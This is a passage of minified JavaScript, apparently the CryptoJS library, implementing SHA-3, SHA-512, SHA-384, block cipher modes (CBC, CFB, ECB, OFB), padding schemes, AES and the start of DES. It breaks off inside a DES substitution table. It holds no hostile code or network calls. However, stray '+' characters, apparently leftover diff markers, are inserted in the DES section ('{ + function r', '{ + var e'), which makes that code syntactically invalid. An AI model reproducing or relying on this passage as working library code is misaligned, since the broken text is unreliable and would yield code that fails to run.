init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 